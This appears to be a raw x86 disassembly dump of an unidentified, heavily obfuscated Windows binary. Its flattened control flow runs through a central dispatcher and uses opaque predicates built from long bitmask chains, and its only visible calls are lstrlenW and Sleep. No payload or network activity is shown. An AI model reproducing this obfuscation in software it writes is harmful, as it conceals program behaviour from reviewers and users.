cmovne ecx, esi
test al, 1
mov eax, 0x384750b5
jmp 0x414567
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x12c]
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
setb byte [ebp - 0x9b]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x14000a
and eax, 0x80806f1
mov edx, ecx
or edx, 0xb682f804
and esi, 0xb696f80e
and ecx, 0x41610100
and edx, 0xb696f80e
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xd87e4739
and ecx, 0x2781b8c6
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xd06241c2
xor ecx, 0x2f9dbe3d
xor edx, 0x2f9dbe3c
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x2adbe201
mov esi, eax
and esi, 0xd5241dfe
or edx, esi
mov esi, ecx
not esi
and ecx, 0x2adbe201
or eax, esi
and esi, 0xd5241dfe
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x12801006
and eax, 0xa9100a89
mov edx, ecx
and edx, 0x678160
or ecx, 0x10858164
or esi, edx
and ecx, 0x548de574
mov edx, esi
xor edx, 0x2001002
xor esi, 0x440de570
or eax, ecx
and esi, 0x548de574
and edx, 0x2621002
or edx, esi
mov esi, 0xa46e643c
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x1a0d7f1f
and ecx, 0xe5f280e0
or eax, ecx
mov ecx, eax
xor ecx, 0xc22c49
xor eax, 0x4010004
and eax, 0xc29c234
and ecx, 0xf3d63dcb
or ecx, eax
xor ecx, 0xc29c234
setne cl
sete dl
cmp dword [0x4f6180], 0xa
setl al
setge ah
and cl, al
and ah, dl
or al, dl
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xb840ea56
cmovne eax, esi
test dl, 1
mov edx, 0xb840ea56
jmp 0x40fb33
mov eax, 0x6a638919
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb852eb0
mov edx, ecx
and edx, 0xf47ad14e
and ecx, 0x1c105551
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0xe3efaaae
xor esi, 0xb852eb0
or edx, esi
or eax, ecx
mov esi, 0x857cb8c7
not edx
xor eax, 0xe3efaaae
or eax, edx
xor eax, 0xffffffff
sete ah
setne cl
cmp dword [0x4f6180], 0xa
setge dl
setl ch
xor ch, cl
xor cl, dl
mov al, ch
and cl, ah
xor al, dl
or dl, ah
xor cl, 1
mov ah, cl
or cl, dl
and al, ch
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, edx
xor dl, 1
and cl, al
xor al, 1
and dl, al
or al, ah
or dl, cl
mov ebx, eax
xor bl, dl
test al, 1
mov eax, 0x1932e5c8
cmovne eax, esi
test dl, dl
not bl
mov edx, 0x1932e5c8
cmove eax, esi
test bl, 1
cmovne eax, edx
jmp 0x402740
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x1d0]
mov dword [eax + 4], ecx
push dword [ebp - 0x88]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x5c]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x40c7d298
jmp 0x402740
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
setne byte [ebp - 0x9f]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x9c44c091
mov ecx, edx
and ecx, 0x408b2120
and edx, 0xb989b617
or esi, ecx
mov ecx, eax
xor ecx, 0xdccfe1b1
and ecx, eax
xor esi, 0x9c44c091
and eax, 0x467649e8
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x53cca734
mov edx, eax
xor eax, 0xb989b617
xor edx, 0x467649e8
and esi, 0xac3358cb
or ecx, esi
mov esi, ecx
xor esi, 0x8f034684
xor ecx, 0x70fcb97b
and eax, esi
and edx, ecx
mov esi, 0x57bcbcf3
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete al
cmp dword [0x4f6180], 0xa
setge cl
setl ah
mov ch, cl
and ah, dl
xor ch, al
not ch
and ch, al
or al, cl
xor al, 1
or al, ch
mov ch, dl
inc ch
and ch, cl
or ch, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, 1
or cl, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, al
and cl, dl
xor dl, 1
xor ah, dl
and dl, al
or dl, cl
and ah, al
mov ecx, 0x29c49f83
mov al, dl
xor al, ah
test dl, 1
mov edx, 0x29c49f83
cmovne ecx, esi
test ah, ah
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x10040c
mov edx, eax
and edx, 0x206f18d0
mov esi, eax
or esi, 0x207f1cdc
or ecx, edx
mov edx, esi
not edx
and esi, 0xdf80e322
xor ecx, 0x10040c
or edx, ecx
and edx, 0x207f1cdd
or edx, esi
mov esi, 0xa68a36b8
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
cmp dword [0x4f6180], 0xa
setl ah
setge cl
xor ah, al
xor al, cl
mov dl, ah
xor dl, cl
and dl, ah
mov ah, al
mov ecx, edx
not ah
not cl
and ah, dl
and cl, al
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xdde9f64d
cmovne eax, esi
test cl, cl
not dl
mov ecx, 0xdde9f64d
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x24]
mov ecx, dword [0x4f6184]
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x4750d943
mov edi, edx
mov esi, ecx
and esi, 0xef015fc4
and edi, 0x10ae2038
and edx, 0x7395c292
or edi, esi
mov esi, eax
xor esi, 0xb8af26bc
and esi, eax
and eax, 0x8c6a3d6d
mov ebx, esi
not ebx
and esi, 0x10fea03b
or eax, edx
or ecx, ebx
and ebx, 0xef015fc4
xor eax, 0x8c6a3d6d
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
not esi
and esi, 0x4750d942
and ecx, 0xb8af26bd
or ecx, esi
not ecx
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4f6180], 0xa
setl ch
setge cl
mov al, ch
xor al, ah
and ah, al
and al, ch
mov ch, ah
xor ah, al
xor al, 1
xor ch, 1
or al, ch
xor al, 1
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor ah, 1
mov dl, ah
xor dl, cl
or cl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, dl
mov edx, ecx
and al, cl
xor dl, 1
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0xb77cd492
xor cl, al
test cl, 1
mov ecx, 0x53d9177a
cmovne ecx, edx
test ah, 1
mov edx, 0x53d9177a
cmovne edx, ecx
test al, 1
jmp 0x402735
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4f6184]
mov edi, 0x261bee62
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xce5421df
and edx, 0x31abde20
or eax, edx
mov edx, eax
xor edx, 0x820001de
xor eax, 0x31abde20
mov esi, eax
and esi, 0x4cdc6a21
and edx, 0xb32395de
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb32395de
or eax, esi
and esi, 0x4cdc6a21
or ecx, esi
not eax
mov esi, 0x6e0f89b8
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x3c4f323
and ecx, 0xfc3b0cdc
or eax, ecx
mov ecx, eax
xor ecx, 0x140b302
xor eax, 0xf00a0cdc
and ecx, 0xd71b302
and eax, 0xf28e4cfd
or eax, ecx
mov ecx, eax
xor ecx, 0x4600302
xor eax, 0x500c00fc
and eax, 0x591db0fc
and ecx, 0xa6e24f03
or ecx, eax
xor ecx, 0xa6e24f03
setne ah
sete al
cmp dword [0x4f6180], 0xa
mov dl, ah
setge cl
xor dl, cl
mov ch, dl
and ch, al
or al, cl
or cl, ah
xor cl, 1
xor al, 1
or cl, dl
or al, ch
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
cmovne edi, esi
test cl, 1
mov esi, 0x261bee62
cmovne esi, edi
test al, al
cmove esi, edi
mov eax, esi
jmp 0x402740
cmp byte [ebp - 0x9e], 0
mov eax, 0x2cb80a19
mov ecx, 0xe2017b5f
cmovne eax, ecx
jmp 0x402740
mov eax, 0x40b71cce
jmp 0x402740
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x130], eax
mov eax, 0xcb42677f
jmp 0x402740
mov ecx, dword [0x4f6184]
mov esi, 0xb8a345bd
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xcde7b5f9
and edx, 0x32184a06
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xf8f2f708
and edx, 0x70d08f7
or ecx, edx
mov edx, ecx
xor edx, 0xcaeabd0f
xor ecx, 0x351542f0
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
setne dl
sete ah
cmp dword [0x4f6180], 0xa
mov dh, dl
setge cl
setl ch
or dh, ch
and dl, ch
mov ch, cl
mov al, cl
xor ch, ah
or al, ah
and ch, cl
and cl, ah
mov ebx, eax
or al, dh
or cl, dl
mov dl, ch
xor bl, dh
xor al, 1
xor ch, cl
xor dl, 1
xor cl, 1
or al, bl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ch
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0xbe8e62
cmovne eax, esi
test dl, 1
mov edx, 0xbe8e62
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x21e81c24
mov esi, eax
mov edi, eax
or esi, 0xc2074088
and edx, 0xe3ef5cac
and edi, 0x8108150
and eax, 0x26814d07
or edi, edx
mov edx, ecx
and esi, 0xe3ef5cac
and edx, 0x14002203
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xca17c1d9
and esi, 0x35e83e26
or edx, esi
mov esi, edx
not esi
and edx, 0xbb02f83
and esi, 0xf44fd07c
or edx, esi
mov esi, edx
xor esi, 0x2800d03
xor edx, 0xf44fd07c
mov edi, edx
or edx, ecx
and ecx, 0xd97eb2f8
and edi, 0xd97eb2f8
and esi, 0x26814d07
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x5597a83b
or edx, eax
mov eax, edx
not eax
and edx, 0xf876d0a0
and eax, 0x7892f5f
or edx, eax
cmp edx, 0xf876d0a0
setne al
cmp dword [0x4f6180], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov eax, ecx
xor dl, 1
or al, dl
xor dl, cl
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0x7c9d1fe3
cmovne edx, esi
test al, al
mov eax, 0x7c9d1fe3
cmovne edx, eax
test cl, cl
cmove edx, esi
mov eax, edx
jmp 0x402740
mov eax, 0x5719c8ba
jmp 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0x36cf3054
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xb9f53717
and edx, 0x460ac8e8
or edx, esi
mov esi, ecx
not esi
and ecx, 0x460ac8e8
or eax, esi
and esi, 0xb9f53717
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x3e948b4f
mov esi, ecx
and esi, 0xc16b74b0
or edx, esi
mov esi, eax
not esi
and eax, 0x3e948b4f
or ecx, esi
and esi, 0xc16b74b0
or eax, esi
not ecx
mov esi, 0x6e0f89b8
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0x9c949045
mov eax, ecx
and eax, 0x8000044
and edx, ecx
not ecx
and ecx, 0x94949001
or eax, ecx
xor eax, 0x8000044
or eax, edx
not edx
and edx, 0x636b6fba
and eax, 0x9c949045
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf9c8757c
and ecx, 0x6378a83
or ecx, eax
xor ecx, 0x6378a83
setne al
sete dl
cmp dword [0x4f6180], 0xa
setl cl
setge ah
and al, cl
or cl, dl
and ah, dl
or al, ah
xor cl, 1
or cl, al
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x36cf3054
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, edi
test dl, dl
cmovne eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x50]
mov ecx, dword [0x4f6184]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x138], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x92152b7f
and ecx, 0x6dead480
or eax, ecx
mov esi, eax
xor esi, 0x5001b
xor eax, 0x40684000
and eax, 0xd2786b64
and esi, 0x2d87949b
or esi, eax
mov ecx, esi
xor esi, 0x29851419
xor ecx, 0xd2786b64
mov edx, ecx
and esi, 0xb9d57d1d
and edx, 0x462a82e2
and ecx, 0x35107e52
or edx, esi
mov eax, edx
xor eax, 0x462a82e2
xor edx, 0x2904280c
mov esi, eax
and esi, 0xcaef81ad
or eax, 1
and edx, 0x6d2628ac
or ecx, esi
and eax, 0x92d9d753
mov esi, ecx
not esi
and ecx, 0x5e16f835
or eax, edx
and esi, 0xa1e907ca
xor eax, 0x92d9d753
or ecx, esi
xor ecx, 0x94f97999
or eax, ecx
mov esi, eax
or esi, 0x57812202
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x8836cdf5
and ecx, eax
and esi, 0x5f952672
and edx, 0x8022c985
or edx, esi
mov esi, ecx
not esi
and ecx, 0xa06ad98d
or eax, esi
and esi, 0x5f952672
or ecx, esi
not eax
mov esi, 0x9903d899
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x77c9320a
and eax, 0x8836cdf5
or eax, ecx
setne cl
sete ah
cmp dword [0x4f6180], 0xa
setl ch
setge dl
mov al, ch
or ch, ah
and ah, dl
xor dl, cl
xor ch, 1
and al, cl
or dl, ch
or al, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor cl, 1
and cl, al
xor al, 1
and ah, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x4d5f8545
cmovne edx, esi
test al, 1
mov eax, 0x4d5f8545
jmp 0x413caf
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xf25a8a0a
mov esi, eax
and esi, 0xda575f5
mov edi, eax
or edi, 0x30810241
and eax, 0xc9bfe974
or edx, esi
and edi, 0x7cf3a36b
mov esi, edx
xor edx, 0x810041
xor esi, 0x2080000
or edx, 0x4c72a12a
and esi, 0x20c4414
and edx, 0x7cf3a36b
or esi, edx
mov edx, ecx
and edx, 0x81001880
or edx, edi
xor edx, esi
mov esi, edx
not esi
and edx, 0x328d4654
and esi, 0xcd72b9ab
or edx, esi
mov esi, edx
not esi
and edx, 0x78e3aefb
and esi, 0x871c5104
or edx, esi
mov esi, edx
xor esi, 0x48a3a870
xor edx, 0x871c5104
mov edi, edx
or edx, ecx
and ecx, 0x3640168b
and edi, 0x3640168b
and esi, 0xc9bfe974
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xbd0db1b1
or edx, eax
mov eax, edx
not eax
and edx, 0xae6ebaa3
and eax, 0x5191455c
or edx, eax
cmp edx, 0xae6ebaa3
sete dl
cmp dword [0x4f6180], 0xa
setl cl
mov eax, ecx
or cl, dl
xor al, dl
xor cl, 1
mov ah, al
or cl, al
xor ah, 1
mov edx, ecx
mov ch, ah
xor ah, cl
xor cl, 1
and dl, al
and ch, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x96927806
cmovne eax, esi
test cl, 1
mov ecx, 0x96927806
jmp 0x410ec7
mov eax, 0xe8461a7d
jmp 0x402740
mov eax, 0x680f3901
jmp 0x402740
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x1c0], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x6e7f677a
mov edx, ecx
and edx, 0x2c410128
and eax, ecx
not ecx
and ecx, 0x423e6652
or edx, ecx
xor edx, 0x2c410128
or eax, edx
mov ecx, eax
not ecx
and eax, 0x1903e922
and ecx, 0xe6fc16dd
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x80821086
xor edx, 0x777c8e58
xor ecx, 0x777c8e59
and ecx, edx
and eax, 0xb4c29ade
and edx, 0x4b3d6521
or edx, eax
mov eax, ecx
not eax
and ecx, 0xa499cf
mov esi, eax
and esi, 0xff5b6630
or ecx, esi
mov esi, edx
xor esi, 0x240100
xor edx, 0xb4c29adf
or eax, edx
and edx, 0xff5b6630
and esi, 0xa499cf
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x21566d47
mov esi, eax
or esi, 0x48281008
and ecx, eax
and esi, 0x497a7d0a
and edx, 0x20040045
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb68582f5
or eax, esi
and esi, 0x497a7d0a
or ecx, esi
not eax
mov esi, 0xcc72e4
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xdea992b8
and eax, 0x21566d47
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2b0c2d8e
and ecx, 0xd4f3d271
or eax, ecx
mov ecx, eax
xor ecx, 0x22040d8a
xor eax, 0x40620221
and eax, 0x496a2225
and ecx, 0xb695ddda
or ecx, eax
xor ecx, 0xb695ddda
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setl cl
setge al
or dl, cl
xor cl, ah
xor cl, 1
or cl, al
xor al, ah
and al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0xfe66249f
cmovne ecx, esi
test al, al
mov esi, 0xfe66249f
mov eax, ecx
cmovne eax, esi
test dl, dl
cmovne eax, ecx
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xd156a6ec
mov ecx, edx
and ecx, 0x2ea95912
and edx, 0x20cdad31
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0xdf3252ce
xor esi, 0xd156a6ec
or eax, edx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x9cc5ddf6
mov esi, edx
and esi, 0x633a2209
or ecx, esi
mov esi, eax
xor esi, 0x9c0050c6
xor eax, 0x20082001
and eax, 0x633a2209
and esi, 0x9cc5ddf6
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xcc72e4
setne dl
cmp dword [0x4f6180], 0xa
mov ah, dl
setge cl
setl ch
inc ah
mov al, ah
mov dh, ah
or ah, ch
and al, dl
xor ah, 1
xor dh, al
xor al, 1
or al, dl
xor al, 1
or al, dh
mov dh, cl
xor cl, dl
or cl, ah
and dh, al
not al
mov ah, cl
mov dl, cl
and al, ch
xor ah, 1
or al, dh
and dl, ah
xor al, 1
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4b1154b3
cmovne ecx, esi
test al, 1
mov eax, 0x4b1154b3
jmp 0x411edf
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x19c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov eax, 0xf69e2173
jmp 0x402740
cmp dword [ebp - 0xd0], 0
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
sets byte [ebp - 0xa2]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 1
not edx
and eax, 0xb3b924dd
mov esi, edx
and ecx, 0x9518391f
and esi, 0x6ae7c6e0
or esi, ecx
mov ecx, edx
or ecx, 0x9518391e
and edx, 0x4c46db22
and ecx, 0x9518391f
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0xb3b924dd
xor eax, 0x4c46db22
mov esi, 0x7222a54
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x4f6180], 0xa
setge dl
xor al, dl
or cl, dl
mov edx, eax
or al, cl
xor dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x3dd1c427
cmovne ecx, esi
test dl, dl
mov esi, 0x3dd1c427
jmp 0x412a5a
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
andn eax, ecx, ecx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0x6fd51454
mov esi, eax
not esi
and edx, 0x902aebab
and eax, 0x902aebab
or ecx, esi
and esi, 0x6fd51454
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0x9ef77534
mov eax, ecx
and eax, 0x63da4a61
and edx, ecx
not ecx
and ecx, 0x9c25b59e
mov ebx, edx
not ebx
and edx, 0x357bcb4e
or eax, ecx
mov ecx, eax
xor ecx, 0x9c253514
mov esi, eax
xor esi, 0x524000
or ecx, 0x61088acb
and esi, 0x14734104
mov edi, ecx
or ecx, ebx
and edi, 0xca8434b1
and ebx, 0xca8434b1
or esi, edi
or edx, ebx
not ecx
xor edx, esi
or ecx, edx
not edx
and edx, 0x61088aca
and ecx, 0x9ef77535
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x30d4de06
mov esi, edx
and esi, 0xcf2b21f9
or ecx, esi
mov esi, eax
xor esi, 0x63da4a60
xor eax, 0x10049406
or esi, 1
and eax, 0x30d4de06
or edx, esi
and esi, 0xcf2b21f9
or eax, esi
not edx
mov esi, 0xa43109a6
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0xbdee620e
and eax, 0x42119df1
or edx, eax
mov eax, edx
xor eax, 0x98ee4002
xor edx, 0x2019530
and eax, 0xd8fe48c3
and edx, 0x2701b73c
or edx, eax
xor edx, 0x2701b73c
sete cl
setne dl
cmp dword [0x4f6180], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x5da52c39
cmovne eax, esi
test cl, cl
mov ecx, 0x5da52c39
jmp 0x411c35
mov eax, dword [0x4f6184]
mov edi, 0x358b0d57
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xa8822038
mov ecx, eax
and ecx, 0x2244dc6
mov esi, eax
or esi, 0xaaa66dfe
or edx, ecx
mov ecx, esi
not ecx
and esi, 0x55599200
xor edx, 0xa8822038
or ecx, edx
and ecx, 0xaaa66dff
or ecx, esi
mov esi, 0xabcbd70f
mov edx, ecx
not edx
and ecx, 0xeb5edf89
and edx, 0x14a12076
or ecx, edx
xor ecx, 0xeb5edf89
or ecx, eax
xor ecx, 0xffffffff
sete cl
setne dl
cmp dword [0x4f6180], 0xa
setl al
setge ah
mov ch, al
and dl, ah
xor al, cl
and ch, cl
xor al, 1
or ch, dl
xor ch, 1
or ch, ah
mov cl, ch
or cl, al
xor al, ch
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x358b0d57
cmovne eax, esi
test cl, cl
cmovne eax, edi
test dl, 1
cmove eax, esi
jmp 0x402740
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x7ba7b638
mov ecx, eax
and ecx, 0x73a58418
and edx, eax
not eax
and eax, 0x8023220
or ecx, eax
xor ecx, 0x73a58418
or ecx, edx
not edx
and edx, 0x845849c7
and ecx, 0x7ba7b638
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x7d26b10f
and ecx, 0x3e73ca84
mov eax, esi
and esi, 0x82d94ef0
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xc18c357a
or ecx, esi
mov esi, edx
xor esi, 0x3c228004
xor edx, 0x82d94ef1
or eax, edx
and edx, 0xc18c357a
and esi, 0x3e73ca85
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x80409014
and eax, 0x21226888
mov edx, ecx
and edx, 0x48150021
or esi, edx
mov edx, ecx
or edx, 0xc8559035
and ecx, 0x14800002
xor esi, 0x4a1d0761
and edx, 0xca5d9775
or ecx, esi
or eax, edx
mov esi, 0x1f51b74b
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x1f6fca81
and ecx, 0xe090357e
or eax, ecx
mov ecx, eax
xor ecx, 0x82000824
xor eax, 0xc058448
and eax, 0x4dbfd6da
and ecx, 0xb2402925
or ecx, eax
mov eax, ecx
xor eax, 0xb2400105
xor ecx, 0x4325018
and ecx, 0x4327838
and eax, 0xfbcd87c7
or eax, ecx
xor eax, 0xfbcd87c7
sete al
setne dl
cmp dword [0x4f6180], 0xa
setl cl
setge ah
and cl, al
and dl, ah
xor al, ah
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ch, cl
and dl, cl
xor ch, 1
and ch, al
or al, cl
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x63d8cfb0
cmovne ecx, esi
test al, al
mov eax, 0x63d8cfb0
jmp 0x414567
cmp byte [ebp - 0x9d], 0
mov eax, 0x5ee70cd3
mov ecx, 0x4ebf2147
cmovne eax, ecx
jmp 0x402740
mov eax, 0x4b7764b1
jmp 0x402740
mov eax, 0x93f3026e
jmp 0x402740
mov eax, 0x37e0e4a1
jmp 0x402740
mov eax, dword [ebp - 0x13c]
mov eax, 0x51f69c3
jmp 0x402740
mov eax, dword [ebp - 0x44]
mov ecx, dword [0x4f6184]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfb995c86
mov esi, ecx
and esi, 0x466a379
or ecx, 0x110800
or edx, esi
and ecx, 0x79f76941
mov esi, edx
xor esi, 0x2001480
or edx, 0x79e66141
and edx, 0x79f76941
and esi, 0x60094a8
or esi, edx
mov edx, eax
and edx, 0x80080216
or edx, ecx
xor edx, esi
mov ecx, edx
not ecx
and edx, 0x6119ca9
and ecx, 0xf9ee6356
or edx, ecx
mov ecx, edx
not ecx
and edx, eax
andn esi, eax, ecx
or edx, esi
mov esi, 0x66c7a131
not edx
or edx, ecx
cmp edx, 0xffffffff
setne al
cmp dword [0x4f6180], 0xa
mov edx, eax
setge cl
xor dl, cl
or al, cl
mov ah, dl
mov ecx, eax
xor ah, al
and al, dl
not cl
and ah, dl
xor dl, 1
and cl, dl
or al, cl
mov cl, ah
xor cl, al
mov ecx, 0xa44738cb
cmovne ecx, esi
test al, al
mov edx, ecx
cmovne edx, esi
test ah, ah
jmp 0x402735
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0x6e5075e
jmp 0x402740
mov eax, dword [ebp - 0x50]
mov eax, 0x105c5c96
jmp 0x402740
mov eax, 0xef3a5ca4
jmp 0x402740
